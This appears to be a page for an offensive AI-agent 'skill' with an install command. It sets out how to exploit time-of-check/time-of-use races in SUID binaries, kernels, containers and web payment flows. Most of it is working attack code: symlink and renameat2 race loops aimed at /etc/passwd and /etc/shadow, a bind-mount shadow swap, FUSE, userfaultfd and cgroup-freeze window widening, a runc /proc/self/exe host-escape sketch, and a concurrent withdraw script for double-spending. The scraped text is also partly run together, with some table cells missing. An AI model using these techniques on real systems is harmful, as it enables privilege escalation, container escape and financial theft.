Loading...
Loading...
Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries / kernel / orchestrators.
npx skill4agent add snailsploit/claude-red offensive-toctou// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}accessopenpath/etc/shadowO_NOFOLLOWopenatAT_SYMLINK_NOFOLLOWfstat# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; donesyscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);RENAME_EXCHANGEparent/fileparentmv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one sideunshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; doneCAP_SYS_ADMINopenstat# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);userfaultfdcopy_from_uservm.unprivileged_userfaultfd=1mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resumecpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully./proc/<pid>/exe// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCEopen("/proc/pid/mem")lseek+write/proc/pid/root/etc/shadow// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}accessopenstrace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface/proc/self/exedocker exec/proc/self/exe/proc/self/exeWORKDIR /proc/self/fd/<n>/Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-streamPOST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different bodyHTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".httpie ... &# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)UPDATE ... WHERE balance >= amountgetCallingPackage()audit_token_t| Tool | Layer | Use |
|---|---|---|
| Linux syscall | Find duplicate path resolutions |
| Kernel | Probe specific syscalls' args at scale |
| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |
| Helgrind / DRD | Userspace | Pthread race detection |
| Bochspwn-Reloaded | Kernel | Double-fetch detection |
| Kernel | Coverage-guided race fuzzing |
| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |
| Web | Multi-thread + timing harness |
| Web | Pipelined parallel requests |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)